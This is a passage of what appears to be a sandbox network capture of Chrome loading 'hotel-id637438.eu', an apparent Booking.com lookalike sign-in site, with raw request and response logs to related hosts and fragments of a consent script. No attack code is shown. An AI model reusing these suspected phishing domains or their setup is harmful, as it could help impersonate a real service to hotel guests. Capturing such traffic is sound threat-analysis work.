2024-07-08 22:43:33 UTC	604	OUT	GET /eT7Nb5nB4FSZBhqr?4e98badb14cfb3a3=noEGKM0RbPhp2BOR7GtSv8EDA766sxCB-oQDofHIYL0nVgCWZ_FSuWnvPXgK68IoB2KaUXlhIAvOPkKfPj2n8omxmTJildRQNxvOEqYLuo-qEMEJOU-vBd-iqiE9oNQd1VJ_tlSFfzMuQ2jqJArDBp6s3JDOKtZo_yFm HTTP/1.1 Host: doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:33 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:33 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49816	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	632	OUT	POST /static/report HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive Content-Length: 204 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://hotel-id637438.eu Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	204	OUT	Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 4e 65 74 77 6f 72 6b 20 72 65 73 70 6f 6e 73 65 20 77 61 73 20 6e 6f 74 20 6f 6b 22 2c 22 73 74 61 63 6b 22 3a 22 45 72 72 6f 72 3a 20 4e 65 74 77 6f 72 6b 20 72 65 73 70 6f 6e 73 65 20 77 61 73 20 6e 6f 74 20 6f 6b 5c 6e 20 20 20 20 61 74 20 68 74 74 70 73 3a 2f 2f 68 6f 74 65 6c 2d 69 64 36 33 37 34 33 38 2e 65 75 2f 73 74 61 74 69 63 2f 63 68 61 6c 6c 65 6e 67 65 2e 6a 73 2e 25 44 30 25 42 37 25 44 30 25 42 30 25 44 30 25 42 33 25 44 31 25 38 30 25 44 31 25 38 33 25 44 30 25 42 36 25 44 30 25 42 35 25 44 30 25 42 44 25 44 30 25 42 45 3a 32 3a 39 36 34 36 32 37 22 7d Data Ascii: {"message":"Network response was not ok","stack":"Error: Network response was not ok\n at https://hotel-id637438.eu/static/challenge.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE:2:964627"}
2024-07-08 22:43:34 UTC	578	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 08 Jul 2024 22:43:34 GMT Content-Type: application/json Content-Length: 31 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XTRJWaEHLxoBoJJth9sqG5X2SaaWoWKD21j9YnT3oJDVPgUPjHXI%2BjjTw75hR5GUCyf0NsnBiLKHu9CWjxi3xIenoAH1Cp6GM4VQHW9n%2FHwrzkd7QHNSvnM4xdfHsZBaSidfsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0398088c8f8c53-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:34 UTC	31	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d Data Ascii: {"detail":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49815	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	514	OUT	OPTIONS /raphael_cs HTTP/1.1 Host: booking.ck123.io Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://hotel-id637438.eu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	382	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://hotel-id637438.eu Access-Control-Allow-Credentials: true Cache-Control: max-age=10000, immutable, private Access-Control-Allow-Headers: cookie, content-type Access-Control-Max-Age: 1200
2024-07-08 22:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49812	47.246.50.207	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	704	OUT	GET /dedge/zd/zd-service.html HTTP/1.1 Host: ls.cdn-gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	392	IN	HTTP/1.1 200 OK Server: Tuser Content-Type: text/html Content-Length: 592 Connection: close Accept-Ranges: bytes Vary: Accept-Encoding Vary: Origin Last-Modified: Mon, 05 Sep 2022 06:00:59 GMT Content-Encoding: gzip Age: 800 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: * Via: ens-cache5.fr4[1,0] Timing-Allow-Origin: * EagleId: 2ff6329917204786139597717e
2024-07-08 22:43:34 UTC	592	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 53 4d 8f 9b 30 10 bd f3 2b 88 0f 8b dd 75 48 2e 95 aa 00 91 aa 4d b6 da aa 69 aa 26 aa d4 53 e4 82 09 74 09 50 3c 90 8d 58 fe 7b c7 26 4b d2 76 2f 45 48 d8 6f 66 de 7c f0 c6 1f 2d d6 77 db ef 5f 96 76 02 87 6c 6e f9 e6 e3 27 52 44 73 ff 20 41 20 0e e5 58 fe aa d3 26 20 77 45 0e 32 87 f1 f6 54 4a 62 87 fd 2d 20 20 9f 60 a2 03 3d 3b 4c 44 a5 24 04 35 c4 e3 77 c4 9e cc fd 49 cf f5 a3 88 4e 48 af c2 2a 2d c1 06 24 38 c7 fd 14 8d e8 51 32 b7 68 5c e7 21 a4 45 4e 59 db 88 ca 4e 32 c5 f1 55 01 51 50 a5 f9 9e 78 50 9d 5a 44 83 d1 e8 98 e6 51 71 74 b3 22 14 d9 06 8a 4a ec a5 87 86 eb 7b 17 0a 08 13 2a 99 09 89 45 a6 a4 d7 59 2f 39 ec 24 d2 26 4b 27 8a 0c 71 14 7c dc ac 3f bb a5 ee 81 4a 37 12 20 98 77 21 a9 24 d4 55 ee 75 69 4c a9 Data Ascii: SM0+uH.Mi&StP<X{&Kv/EHof\|-w_vln'RDs A X& wE2TJb- `=;LD$5wINH-$8Q2h\!ENYN2UQPxPZDQqt"J{EY/9$&K'q\|?J7 w!$UuiL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49820	104.19.177.52	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	546	OUT	GET /scripttemplates/otSDKStub.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:34 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: ceCldLDyZN6bSQL6yyKLMg== Last-Modified: Wed, 03 Jul 2024 16:07:22 GMT x-ms-request-id: 0e1d26ea-301e-0069-5679-cdcc26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: HIT Age: 307 Expires: Tue, 09 Jul 2024 22:43:34 GMT Cache-Control: public, max-age=86400 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a03980a399f42b8-EWR
2024-07-08 22:43:34 UTC	508	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 22 41 54 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 52 4f 22 2c 22 53 49 22 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 Data Ascii: "AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 69 66 28 21 28 61 3d 69 5b 6e 5d 2e 73 70 6c 69 74 28 2f 3a 28 2e 2b 29 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 Data Ascii: if(!(a=i[n].split(/:(.+)/))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 64 6c 65 72 2c 21 31 29 2c 73 2e 61 64 64 46 72 61 6d 65 28 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 Data Ascii: dler,!1),s.addFrame(s.LOCATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.lengt
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 65 6e 74 28 22 69 66 72 61 6d 65 22 29 29 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 Data Ascii: ent("iframe")).style.cssText="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 28 29 2c 74 68 69 73 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 28 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 Data Ascii: (),this.captureNonce()},h.prototype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptEle
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 3f 28 69 3d 69 2e 4f 6e 65 54 72 75 73 74 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c Data Ascii: olocationResponse?(i=i.OneTrust.geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 61 79 65 72 22 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 Data Ascii: ayer"}},h.prototype.setGeoLocation=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData"
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 52 65 67 69 6f 6e 53 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 69 2c 6e 2c 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 Data Ascii: RegionSet=function(t){var e,i,n,a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.Ru
2024-07-08 22:43:34 UTC	1369	IN	Data Raw: 2e 68 61 73 49 41 42 47 6c 6f 62 61 6c 53 63 6f 70 65 3d 21 31 2c 70 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f Data Ascii: .hasIABGlobalScope=!1,p.IABCookieValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49817	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	598	OUT	GET /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://hotel-id637438.eu Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	331	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 08 Jul 2024 22:43:34 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type
2024-07-08 22:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49818	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:34 UTC	863	OUT	GET /ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jac=1&je=3e37262668666e3d39333224686e683f37313135306e62303563353b3e3b32303231633e30396530326538656b326233246266766e3f383a323c3630383333302e726f3f6e6f HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:34 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:34 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49819	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
